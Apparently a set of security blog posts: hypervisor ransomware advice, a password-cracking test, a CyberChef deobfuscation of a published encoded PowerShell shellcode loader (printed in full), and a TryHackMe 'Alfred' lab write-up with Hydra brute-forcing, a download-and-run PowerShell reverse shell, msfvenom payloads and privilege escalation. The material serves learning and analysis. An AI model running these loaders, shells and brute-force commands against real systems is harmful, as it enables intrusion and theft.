Unfortunately, many organizations have not responded to the threat. Perhaps it seems too distant a threat when it is happening to something else. The “that will never happen to me” type of attitude.

Responding to the threat, by the way, doesn’t necessarily mean spending hundreds or even tens of thousands of dollars to protect your organization. It could mean using your existing technology in a smarter way.

One example of this are Hypervisors. Your Hypervisors run all the virtualized hosts in the on-premise network. In essence, they are one of the crown jewels. Why are organizations placing these critical systems on the corporate network where Derrick from accounting, who is a “clicker”, can access it over the network?

Imagine if an adversary were to gain access to your corporate network, and move laterally to your hypervisor(s)? This system likely controls your Active Directory, file servers, databases, business and web applications, and potentially even your backups. A single point of failure. With access to the hypervisor, all hard disk image files could be encrypted by ransomware. This also means OS level security protections will be circumvented. If you paid for a top of the line EDR on all your servers, it will be incapable of protecting against this attack vector. This is especially true for VMWare based ESXi Hypervisors which cannot typically install an EDR or other OS level protection.

Why can you do to protect this asset? Limit access to the Hypervisors from your corporate network to only those who require it. One way to accomplish this is to configure a management network where the Hypervisors can be accessed directly, and place it behind an internal firewall. Anytime an Administrator needs to work on the Hypervisor, they will need to VPN or SSH into the management network. Multifactor authentication should be required as an added layed of protection.

Many organizations are not staying aprised of the threat landscape as cybercrime organizations continue to retool, rebrand, and change their tactics. But tactics are not changing in order to overcome the fantastic job most organizations are doing to keep threat actors out of their networks, limiting their movement once inside, or creating better detections. No, threat actor groups are changing their tactics to increase their impact. Over the last 12 - 24 months, many of the ransomware groups have developed Linux compatiable ransomware binaries and are using them to target ESXi Hypervisors. Don’t wait for an incident, the right time to address the risk is now.

How secure is the password “pinkhouse79”. It’s 11 characters long which is not too bad. However, it only contains lowercase letters and numbers, and isn’t as complex as it could be. But does that matter? Does compelxity matter? Does length matter? Which matters MORE?

I used a tool called Colabcat that leverages Hashcat on Google Collaboration to attempt to crack 600 NTLM hashes of “simple” passwords generated by DinoPass, because I wanted to see how these passwords, which I consider to be above average for what non-security concious people use, would stand up.

Colabcat, combined with the rockyou wordlist and the OneRuletoRuleThemAll, was able to crack 256 of the 600 password hashes in just under 10 minutes - and the example password “pinkhouse79” was one of those cracked.

The reason 256 password hashes were cracked, and the others not, is because the rockyou wordlist contained, for example, the word “pink” and “house”. The other passwords generated by DinoPass had one or both their two combined words missing from the rockyou list and as a result were not able to be cracked. This could easily be overcome by changing up or customizing the wordlist to include more words.

However, rockyou and hashcat alone would not be enough to crack the password hash for “pinkhouse79”, but with OneRuletoRuleThemAll thrown into the mix hashcat is able to mix-and-match words in the list, and append characters at the beginning, end, and in between.

There are over 10,000 rules in OneRuletoRuleThemAll that emulate the patterns that most people use when creating passwords and drastically increases the likelihood of guessing their password. Rockyou contains 14,344,391 passwords. With OneRule that number increases to 745,836,298,075. And with Google graciously providing their Tesla T4 GPU for free, it is possible to generate those billions of hashes in less than 10 minutes.

What if the password was “PinkHouse79” or even “PinkHouse123!”. Surely, “PinkHouse123!” is uncrackable! It has uppercase, lowercase, numbers, special characters, and its 13 characters long! It has everything we’ve been told (read: forced) to include in our passwords for years because “security.” Well, both of these password hashes were also cracked in under 10 minutes on Colabcat using the same word and rules list, which are all free and publicly available to anyone.

In conclusion, with modern compute power and the intelligent way that adversaries are able to attack password hashes, the whole idea of a ‘password’ is completely dead. What is necessary today are “passphrases” that contain 4 or more words chosen at random and have no comprehensible meaning, with some special characters thrown into the mix (and not as placeholders for letters, i.e. ! subbing in for i). Duckduckgo will give you some ideas if you’re struggling, just search for “passphrase”.

Stay classy.

Robert

In the same Sophos article there is a publicly available obfuscated powershell code I’ll be using to demonstate this method.

%COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWAA2ADMATwBpAFMAaABiAC8ASABQADgASwBQAHEAUgBLAEwAVQAyAEMAagA1AGcANABXADEATgAxAFYAVQBCAFEAUQBCAFQAZgB1AGEAawBVAGoAeABaAFIAbwBIAGsAMABLAE4ANgBaAC8ALwAwAGUAVQBIAE0AegBPADUAbgBkAHEAZABxADEAaQByAEsANwBPAGMALwBmAGUAZgBSAEIAUgBlAFIATwBKAGEARgB0AEUAQQBtAGIAaQBMAHEAYgBvAHoAQwB5AHMAVQBmAFYAQwA0AFYAYgBCAGcAdQBFACsAawByADkAVQBTAHgAcwBZAHMAOABnADIAWABHADIAZQBMAE0AUQBlAGYATgBEAGIATAB4AHAAcABoAG0AaQBLAEsATAArAEsAdAB3AG8AVwBxAGkANQBWAE8AawAyADAAYwBJADMARgA1AHUAeABnADYAcABVAHYAcwBrAEkAawBSAG0ASABxAEgAeAB6AFUANwBqAEoAagAyAEkAdgAwAGoAYgBvAHoAZABPAEkAbgBhAEEAMwBGADUARQB0AE4AaQBOAFEAVgBIAHIAcAArAEQANgBEAFgAYwAzADIAWAByADkAOAA2AGMAVgBoAGkARAB4AHkAMwB0AC8AMwBFAGUAbABFAEUAWABKADEAeAAwAFoAUgBxAFUAeAA5AG8AeABaAGIARgBLAEsANwBrAGIANQBEAEIAcQBIACsAbwBtADcAZgA3AHYAcwBPADEAagBYAG4AUQBwAGIAMgBOAEcATQBMAEQAbgBVADgATQAzAHMAbgBZAGsAUABMAFAATABoAFgAZgBjAGMAbQBwAGUASwBmAGYAeABiAEwATAAzAGUAMQAxADMAcwAyAGkARABVAG4ASwBoAFgAVgBOAEMATABJAHYAVABjAGQAcAAxAGkAbQB2AHAAYwB6AGgAZABQAFUAUgA2AFcAaQBaAEIAcwBoAGoAdgBDAEcAMwBDADkAcwByADEARwAvAG4AKwBYAFcAeQA3AG4AeAAwAHQAbgAyAFkAdgBuAGkAbQBlAFYAcgA0AE0AZQB2AG4AYwB5AGsAbgBuAGwASwBSAFYAZwBxAGcARQAzAG4AagBHAEcAeABTAHIAMQBrACsAbAA1AGUAWAA2AGsALwAzAHEAMgBaAHgAQgA2AHgAWABYAFEAdgBlAEEAUwBGADIARgBkAFIAbQBOAGcARwBpAHUANQA1AHoAVABNAGQATgBFAEUAYgBZAEMAdABHAEUARAA3AFAASwBwAGIAQgBpAEIAQwBSAE8AUABTAG8AcQB5ADMAQQBsACsAQQA5AEsAdAAxADYAcwBlAE4AVQBRAGUANwBMADcAOABwADkATABjAG4AbwBjAEEAWAAzAGQANQBsAEsASAA1AG0AQQBTAGkARgBoAHUAWAByAEoAaQBkACsAQgBRADgAcgB6ADUAaQB3AE8AMwBQAG4ASgArAGcALwBKAFYAWQBiAGYAVAB3AGwAVwBMAG4AdwB2AGYASgBLAHEASgBuAEsAUQBwAFIASAAwAFIAZwBEAGYARAA3AGwAYQB1AEwAbAA1AHkAWgBjAEkALwBDAGsAcABPAEwASgB6AHYAcQA4AFUAWABhAFUAawBNAEUASQBqAE8ARQB5AHoAYwBFADcARABHAEoAVgBmAC8ANABuAFAAVwBlADIAVgBNADYAcgArAFUAbABEAHQAeQBuAFgAaABPAFkAZgBuAGIATQBkAFgANgBtAFcATwBiAGYATwAxAGMARgBNAHUAWABMAEkAbgBPADMALwBUAFkAOQBzAHgAVQBaAGkAOQAvADMAVQAxAE0ARwBoAGoAZQA0AGgASgBQAGMAMgAxAGoAVwB2AEMAbAB6ADYATABHAGQAbwA0AEsATQBmAGoALwBrAG8AbQBnADUAMgBsADQAdQBVAEYATQBwAGsATABPAHMAVQBNADAASgBlAGYAMgBWAGoAWABKAHUAKwA4ADMAYgBOAHgASABRAFAAaQBIAG8ARgBWAGsAQgBMAGwASAA0ADAANQB4ADcAQgBVAEYARAB3AEoAdQBZAEQAZgBlAFEAOQBwAGUAcgB1AEIATQBrAE4AWAA2AGsAdABwAHAAVgBmAHQAMgBUADcATAA1AFoANgBqAFIAVgBHAFYAVQBtAEsAbwBjADYATgBLAHEAVQBoAHoAawBGAG0AbABPAGwANQBrAFgAMQA1ADEAWQBvAEwAegBaAGYARQBmAGMANgBYAFkASQBiAGEAaABSAGUAUQBxADcAcgBYADgAQwBhAFEAWAAxAFQAMwBzAFEAYwBYAEUAQgBrAFEAWABZAEoAaQBxAFAAagBKAHMAegBjAGwAUQBxAFYASwA4AGIAYQBKAHUAcQB0AHIAVwAxAFkAVABpAHAANQBqADAATgBNAGUAQgBrAGcATgBKAEMAYwBRAEUAVABqAEkAcwBWAEoATABsAFQARwBoAFcALwB6ADAALwB5AHYAYwBxAEkAbwBMAHIATwA4AGcARgA2AHIAdwBMAGMAWQA1AG0AUQBjACsANQBWAEYAUwBlAGIAcABxAEYAegBPAEoALwBNAFAAdABhAEoAKwBlAGkAeQBMAEMANgBnAHYAVABCAGEARQBnAEEAMQBjAEcAawBTAHMAMwB0AGsARQBCAGYASwAxAFoALwBTAHIAegAvAHoAYgB3AGYAVwA4AHcAUABaAHYAWgBDAGQAQQBsAGsASwBTAC8ARQBsADIANQBLAHMAbgBMAEoASwBZADMAcwBjAHYAbgA2AGoAbQBXAE8AWABFAGcAQQBOAFMANwBFAGIAbABlAEwAVQBLAHUAcAA1AG0AMgBzAFYARwB3ADgAeAA0AEcAUQBTAHIAdAB4AEsAKwB5AHoAQwBjAGMASABQAEQAdQBGAEoANABHAG4ARQBYAEMAcwBLAEEANABtAGYAbgBjAGkARwBtAHcAOABVAG4AaAA2AHMAQgBIAEcAegAwAHcAegBQAHMAUgBDAFAATwAzAFMARABZADQARwB1AGwAUABRAFoAegBkAEMATQBzAEsAcgBXAHUAdwAyAGEANgBZAHYASgBEAEsAYwBSAFUAOABCAEgAegBGAEMAdwBuAFQANABlAG8AQwA1AGwAbQBXADMATAAzAEwATwAvAEcAUAA5AFUATgBPAFgAQQB2AGUAawA5ADcAawBtAFAANAArADQAagBKADQAWABrAGkANABYADkATgBvAFkAMQBnADkAQwAwAHMATQBEADQASAB0AHUAKwBWADcAMwBZAEQAWQBSAE8AMgBpAGgAcABXAGcAYwBHAHUAUQBaAGEAZABZAHgASABjADQAcgBLAGwAMwByAHoAMQBOAFoAbgBMAE8AKwByAEgAcQBtAHEATgBmAEcAMwBFAEEAKwAxAFYAUAB3AEMAZgB4AFMARwAvAHkARQBOAHUARgBSAGoAMAA1AHQAZwBhAGQARwBPAHcAcgA0AHoARgAvAFUARgBRAFAARABHAHcAdwBFAGYAcABDAHEAagA1AFkAdABwAFAATABCAG8AQQBrAGQAaABDAGUAbgBvAGEAeABQAGEAZgBBAE0ALwBIAEkAVABNAEQAbQBxAHEAVABSAHAAdABzAHkAagBzAGUAUQBPAHgAbABJAFcAVQAzADQAbAA5ADAARgBIAEUAQwArAHMASgBpACsATAArAE4AagBaAEMAYQAyAFEAVQBWAFgAegBwAEUANgBQAE4AYgBXADIAZABoAEoAdABhAGIAUwA5AFEANgA1AGYATgBZADgASABjAHgAYQBOAEIAbABPAHkAYQBpAGkAYQAyADAAeABUAHIANgBVAEsATwArAEUAbwBHAGoANgBaAEwAdwBlAHQAVQBFAHQANwB2AG0AZwBqAHYAYgBzAGgAbQBkAHkAQgB1AEwAWQBHAGIAUgBiAFcATABEAG4AUwBxAGoAcABKAFQAZABEAHIAOABGAE4AbQBDAEgAcQA5AG4AaQBTAEIARAA5AG8AagB0ADkAcQBqAGgAagBKAGMAeQBDAGUAagAwAFIAVwBOAE4AQgBUAEEARAAyAFgAWQBzAGsASAAyAE0ANQBFAGEAYwBNADcAMAAxADQAOABtAE8AOQB1AHAANwBBAEcAYgBnAHMAWABpAHcAWABCAHAAdABaAGEAUAB3AFUAbgBoAG4AWgBvADkAcQB1AGwAeAB2AHoASwBQAGUANgAyAFEAKwBCADcAbQBtADcAWABBAHEAbABmAEEATwBkAFAAdgAxAEsAZgBtAGIASQBrAGQAdgBrAEkARwBEACsANQBzADEASAByAFUAMAAvAGoAQgBQAEQANwBJAHcAQgAwAFIAMQBuAG0AbwBLAGEANgAvAFEATAA0AHoAbwBqAGQAcwBxAE0AcgAxAEcAYgB1AGUATQBPADYAQQBuAGUAeAByAHkALwA1AFkAagBxAGUAYwBNADUAegBTADcAUgA3AFQAWABjAG4AcwBRAFIATABIADcASABFADAAbwB3AGQATABkAGMAOABwAGsANgAzAEYANgBGADQAMwBXAEYAdQBTAHgAawB5AGsAVgBhAGMAeABHAFUANQBuAHAAagBUAG4ATwBvAHkAKwBOAEIAaAB1AFQASwB2ADkAagB0AHkAWQB6AFgAdwArAGsANQBmAEwATwBGAHIATQBhAG4ARQBNADEAbAB1ADgATQBoAHIAbQAxAGgAagBqAGUASwBnAHEAegBiAGsAZgBjACsAcgB3AGEAUwBLADEAVgBpAHYATQBMAHEAeABIAFcAVwBtAHAANwBUADAAegBTAFoAKwBTAFcAcQBYAHQAdABKAGEASgB0AGwAbgB2ACsAOAA5AE4ATABuAEEAbgBzAFQAbQBXAEoAVgA2AGUASQAxAFoAcQBMAHgAUgBtAEYAaQByADkAVQA1AGUAdgBrAC8AWABhAGwALwBaAGEANQBMAFcAUwBQAGgAdgA0AHMAagArAGIANwBlAHkAdABQAGYAYgAyAGsASABnADQARwBUAHoATwBEAHIASwA4ADYASgBLAGwAdQBlAGgAdQBCADAAKwBDAEsAZwA3AFgAUQBhAHQAegBXAE0AbQA0AFYAMgBIAG8AcgBiADcAcgBIAHAALwBkADkASQBqAEcAegBsAE8AMABhADIAKwBSAEkAZABhAEcAKwAwAEUAOABxADcAdAA2AHgAVwBHADIAeQB0AEsAYQBWADgAWQBLAHIANgBkAHkAZQByAFEAVwBkAGIARgBqADkAcABkAEQAcQBiAC8AcgBIAEMAYgBNAFkATQBOAEgALwBuAFQAagB1AHkAZAA5AHUAdABuADUAZgBXADAAZABJAG8ANQBPAFAARwAvAGsASwByAE8AdwBWAHgAbgBqAFYAUwBCAEwAYwB6AEoAegA5AG4AaAB5AGUAbABEAFcAagBqAEoAZAByAEMAdQAxAGoAYQBpADIAUgBpAEcAeQBWAGwATwB6AGYAdwBwAFkATABuAEUATgBsAHIARAAxADUASQBpAE0AcAAyAEIATABGAHMASgBPAGIAWQA4AFcAMQBoAEoAeQBjAGUALwBzAEkASQA5AFAAawBOAE0AaQBQAEQAdQBoAE0AUgBGAFIAMAB6AHcAYwBJAGMAZQBpAEEAYwA1AHEAWgBTAGMAawBmAG0AbwBNAFEAOQBaAGsAbwAxADAASAA5AGcAWQAvAEYAeQBWADkARQBSAHoATQBVADkAMgBQAEkAZQB5AGEAdABSAGYAaQBIAHQAUwA0ADMAawBjAFYAUgBnAHoASQBFACsAUwBkAHMATwB4AGIAOQBLAFIALwBvAEgAWABXAGcAcABqAFoAZQBkADEAWgBXAGYAZgBhADQAQgBEAG0AawBXAE4AMgB4AC8AKwBMAGcAdgA4ADcAaAAxAEQAdgAvAFEAbQA2AEUAagBTADgANwBMAHgAUwBLAFcAZAB6AHcAdgB1AGIAbAA5AHYAagA2ADMAVwB1AGUAOQAvAGYANgBVAGUAUQAxAG4AagBNAGUAbAAzACsASgB0AEUAKwBkAEwAaABmAEQAVQB1AFMARgBrAFoAYgB6AFkASABPAEIAdwBQAFAAOQBiAHIAaQBjAE0AaABkAHgAaABZAEYAMgB4AGwASABxAGYAVAA1AHAATAAxAEgAbwBZAGMAYwBtAEUASgBoAFQAcgAwADIAKwBZADcAagBZAEMATQBiAHQASAA0AHgAOABjAEQAWQBkAHgANwBHAFgAdQBFAHkAbQA4AEcAeQBVAGYAOQAwAFYAYQBiAGUAQwBXAEcANgBPAHYAdQBrAHgANQB0AE4AUABvAHgAYwBQAEwAegBPAFoARgBmAEMATAAxAC8AVwA0AEYANwAxAEEANABnAGkAOABpAHkAeQByAFYATAAwAHMAVQBIAFQAZABQAGIAZgBwAE0AdQBGADMANABlAGwAaAAvADIAMAA5AEMANgB1AG0AZwAxAGoASAB5AHoANQBxAE0AbgBKAE4AWgBVAHYANgBJAGUAeAA1ADYATAAvAFkAdwBCACsAVQBQAHIAZgBvAGMAMwBBAHkAKwBlADUAZAArAGgAeQBnAHoANwBIAHEAMQB3AG8ALwBsAEUAbwBDAEIAdgBxAHcAMwBsAGsAbgArAEIAcgBCAFEAWABVAGMANQA1ADcARQBkAEYAQwBjAHIAZgBEAE8AbgB6AGEANQBIAGQAMQA2AFYAWQByAFUAdwBLADcAcABHADQAMQA2AGoAdAAxAEIAKwA1ADEAbwBrAFkAZAB2AG0AOQBDAEsAOAA0AHUAYgB1AHIAOAB1AGYAYQBOAE8AbQBqADIAbQBmAEUAYgBOAFUARQBHAGcAbgBIADcAYgBvAEIAMQB5AEYASQBFADgAMQBjAG0ATwBoAGUAUwBFAGMAUABaADMANABXAEQAVwBDAGoALwBEAFEAQQBBACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA

First Base64 decode and remove the null bytes. You should see a variable being defined with a whole bunch more Base64 inside.

The secret to doing all the decoding in one recipe is to use “Regular Expressions” or “Regex” and use it to select all of the Base64 and isolate it as its own string.

The regex component of the recipe should look like the image below with the drop down menu set to “List Matches”. This will select any Base64 strings longer than 30 characters. In this case there is only one match.

Base64 Decode and decompress using Gunzip, and you should be left with something that’s starting to look like a powershell script. Again, there is more Base64 encoded text, but there is also a for loop that is doing an XOR on each character in the var_code variable. Make a note of this number.

Use the Regular Expression module again to select just the Base64 that is in var_code and then applied the “From Base64” module. What we’re left with is a bunch of jibberish.

Apply the XOR and set it to Decimal 35 and you’ll be able to glean from this code the IP address and UserAgent.

If you want or need to take things a step further to see more of what the shellcode is doing, save the output and load it up in Flare using the scdbg.exe tool.

Here is the link to the recipe for anyone having trouble putting it all together.

For some fun doing some obfuscation instead of de-obfuscation check out the Invoke-Obfuscation project on Github.

One requirement of being a pentester, is to be good at documentation and reporting. If you want to attain the OSCP or other designation it is a must. And what better way to learn that by doing writeups?

Alfred is an easy level box that is part of the TryHackMe OSCP learning path.

The first thing on any engagement is to do some recon and enumeration. Since this is a lab environment, we already know what we need to target so we can skip recon, and start enumerating the ports on our target.

Start by loading up NMAP:

nmap -Pn 10.10.90.206 -p1-9000 -oA alfred

Okay, so what’s happening here? We’re asking the nmap program to initial a port scan using the -Pn option which means it treats the site as being online. I had some issues with this box. When I did not use -Pn the command returned no results and nmap said the system was offline. Next, the IP address is specified, pretty straight forward. Then -p1-9000 to scan only the first 9000 ports. Last I output all results to all there main formats with -oA and pipe it to files name alfred.nmap, etc.

Results wise, there are only two ports open. 80, and 8080. Both are HTTP. Going to port 80 we just see a picture of the playboy Bruce Wayne. Not much help there. Going over to port 8080 we see that it is running a application called Jenkins and is prompting for a username and password. We will target this first and see if we can get a foothold.

First step is to proxy a failed login attempt into Burpsuite. If you are new to BurpSuite I recommend this video by John Hammond. There you will learn everything you need to know to replicate what I have done below.

That’s what sending the login ‘admin’ with password ‘12345’ looks like. Now lets see what the website response is by using the Repeated tab.

Looks like the login failed. But that’s okay, we learned something important for our bruteforce attempt that we will try next. Take note of the Location header that ends with loginError this will play an important role in our bruteforce attmpt in a minute.

Lets create a very simple wordlist. This wordlist isn’t very real world, but we are working on the assumption, that the site has not been protected with secure credentials.

Now we can craft a Hydra command to start brutefocing the login.

hydra -L wordlist.txt -P wordlist.txt 10.10.90.206 -s 8080 http-form-port "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&form=%2F&Submit=Sign+in:loginError"

Credentials found! Time to login!

Hopefully, you have done your research on Jenkins and have an idea of what to do. The goal will be to create a new project and then compile that project to acheive Remote Code Execution.

First, check out a GitHub project called Nishang and download a script called Invoke-PowerShellTcp.ps1. This is the tool that can give you an initial shell on the Alfred box.

You will need to serve this script on your own web server, for this I use updog which is a new project designed to replace SimpleHTTPServer. It’s more rebust, and I like it a lot! Out with the old tool, in with the new.

In Jenkins create a new project and under build enter these two powershell commands, subtituting your own IP addresses and chosen port.

powershell invoke-expression (New-Object Net.WebClient).DownloadString('http://10.11.3.198/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.11.3.198 -Port 4448

Save your work. Then you will click on Build to execute your code and catch your reverse shell. Speaking of that, make sure you have your listener running before you click that build button.

nc -lvnp 4448

You should end up with something like this:

We are in, and we can find the user.txt flag in Bruce’s home Desktop directory.

We can’t get the root flag thougth, so we’ll need to upgrade our shell to something more powerful… Meterpreter. Generate a payload with the following syntax:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.11.3.198 LPORT=5555 -f exe -o rshell.exe 

Serve this up on your web server same as with the PowerShell script earlier.

We already know how to get Jenkins to run code, we just need to create a new project with different syntax to get it to download our meterpreter payload.

powershell invoke-expression "(new-object system.net.webclient).downloadfile('http://10.11.3.198/rshell.exe','rshell.exe')""

Save and build your new project.

From the initial shell we got, we can see that the rshell.exe has been downloaded into its project directory. Great! But don’t put the cart before the horse. We need something to catch this shell, and since it is Meterpreter we will use the MetaSploit multi-handler.

Launch msfconsole and navigate to the handler. I prefer running the msfconsole command over running msfdb run because it lets you background shells without issues. For faster MSF results be sure to start the postgresql database first.

Run the exploit. The handler is ready and listening to catch your sweet sweet meterpreter shell.

Back to the reverse shell, run the rshell.exe from its project/workspace folder.

powershell start-process "rshell.exe"

Your Meterpreter shell should now be connecting

Its pretty simple from here. Type getsystem to elevate privileges to NT\AUTHORITY, but we still won’t be able to look at or even see the root.txt flag. Right now we are using an impersonation token to gain these privs, which isn’t the same as actually being NT\AUTHORITY using the Primary Token. A simple trick to get around this is to migrate to a new process that IS using the primary token, such as services.exe.

Run ps and look for the PID of the services.exe process.

Now we just type migrate 668 to seal the deal. Now, we are effectively root or Administrator since this box is Windows.

Thanks for reading!